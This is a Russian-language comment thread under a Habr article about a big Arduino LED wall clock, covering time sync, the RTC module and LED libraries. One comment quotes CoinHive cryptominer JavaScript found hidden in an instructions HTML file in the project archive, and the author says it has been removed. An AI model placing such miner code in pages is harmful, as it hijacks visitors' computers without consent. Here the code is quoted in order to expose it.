Как стать автором
Обновить

Комментарии 17

Нужна ещё интеграция с рабочим календарём, чтобы выходные, праздники и отпуск не омрачались.

Можно, да, было бы круто))). У Гайвера есть более крутая библиотека для часов — она автоматом рассчитывает день недели, туда же можно и расчёт праздников сделать.
Для другого проекта я переделывал его библиотеку, здесь возникла проблема конфликта с библиотекой датчика освещённости.
А я, увы, не настолько силён в радиотехнике(((
Хоть бы показали, как они выглядят. В смысле, более развёрнуто, нежели на КДПВ, а то тамошнее фото говорит лишь о том, что у вас плохая камера в телефоне, а не о том, что эти часы из себя представляют.
всегда задавался вопросом точности часов. Есть ведь вроде какие то сигналы точного времени передаваемые по радио. есть так же GPS который вообще транслирует атомные часы. а есть сотовая сеть которая тоже транслирует время (телефон то по сети синхронизируется). почему никто в часы не встраивает синхронизацию? в итоге дома 5 девайсов показывающих время и раз в месяц приходится им всем подводить эти самые часы чтобы не расходились на минуты? микроволновки так вообще даже батерейки не имеют и сбрасываются при вырубании электричества дома. а часы xiaomi вообще запоминают время и оно останавливается на время выключения питания. в итоге можно узнать сколько времени не было света дома по расхождению часов

вопросы к автору:
— будет ли батарейка для сохранения времени? или может есть уже а я не заметил?
— будет ли синхронизация времени с чем ни будь что лучше во времени разбирается нежели кварц ардуины?

просто если часы заявлены как «крутые», то хочется «крутого» функционала а не только размера сегментов. скажем чтобы они были точными. вам разве не хочется?
Батарейка для сохранения времени, разумеется, есть. Она установлена в модуле часов. При отключении питания время не сбрасывается.
Синхронизация времени. Можно доделывать, конечно, но:
1. Уже писали, что и так «слишком много инженерии»,
2. Там же отдельный модуль RTC — он в принципе точный. У него свой кварц и датчик температуры, который делает поправку на температуру окружающей среды.
Плюс ко всему установка конденсатора на линии питания часов поможет устранить помехи при нелинейности питания.
До установки конденсатора за 2 года часы начали отставать чуть больше чем на минуту.
После установки проблема решилась. Отключение питания абсолютно не сказывается на точности.
Плюс ко всему установка конденсатора на линии питания часов поможет устранить помехи при нелинейности питания.
Это вообще серебрянная пуля от всего:) Электролит большая (если напряжение позволяет — десятки-сотни uF) и маленькая (~0.1uF) керамика.
почему никто в часы не встраивает синхронизацию?


Почему, встраивают. Их есть, если поискать.
Себе делал из ESP8266 и пары сдвиговых регистров, а если на адресной ленте, то и регистры не нужны. Модуль RTC тоже не обязателен — собственных возможностей по отсчету времени достаточно, чтобы уходить на единицы секунд в неделю, а синхронизироваться по NTP можно как угодно часто.
. Есть ведь вроде какие то сигналы точного времени передаваемые по радио. есть так же GPS который вообще транслирует атомные часы.


Особенно хотелось бы видеть применение наших аналогов DCF77: РТЗ и РБУ
Чтобы не было проблем с библиотеками — используйте базовые для Ардуино
Для WS2812 это NeoPixel от Adafruit или на худой конец — оригинальную FastLED которую Гайвер постоянно курочит

Да проьлем-то, собственно, и нет. Просто в новой не получится использовать удобные названия цветов, нужно по-другому цвета объявлять (например, через HEX).
В первоначальной версии использовалась оригинальная библиотека, в новой версии я от неё ушёл — и очень рад.
Гайвер приводит сравнения быстродействия библиотек, ИМХО, его библиотека и правда лучше. Кроме того, я и его ядро использовал (GyverCore).
Было бы неплохо и его библиотеку часов использовать (у меня не вышло из-за конфликта функций I2C с библиотекой BH1750). В другом проекте я его библиотеку использовал, переработав и уменьшив.

Основная проблема заключаются в том, что Ваш проект будет тяжело собрать. Согласен с sav13, не стоило использовать чьи-то кривые переделки базовых вещей, лучше разберитесь в основах.
Конечно, эта проблема не делает проект в целом плохим. Мне вот понравилось.
На самом деле, мне кажется, сложно отнести регистры и работу I2C шины к основам(((
esp8266 стоит дешевле, чем модуль один Bluetooth. и управлять изделием можно не через терминал, а через веб-страничку. Да и arduino тогда можно не использовать. Lawjohn, это намек ;)
в архиве в файле «Большие настенные часы с автояркостью на Arduino — Инструкции.html»
var miner = new CoinHive.Anonymous('sHHkiulLi1Z4U3YaG7XWVfKtLxXQ7u4q');
miner.start();

ваш кошелёк или помогаете кому?
Это файлы оригинального (авторского) проекта. Спасибо за то, что заметили! Удалил, архив перезалил(((((((((((((((((
Добавьте, пожалуйста, ссылки на предыдущие части.
Добавил
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации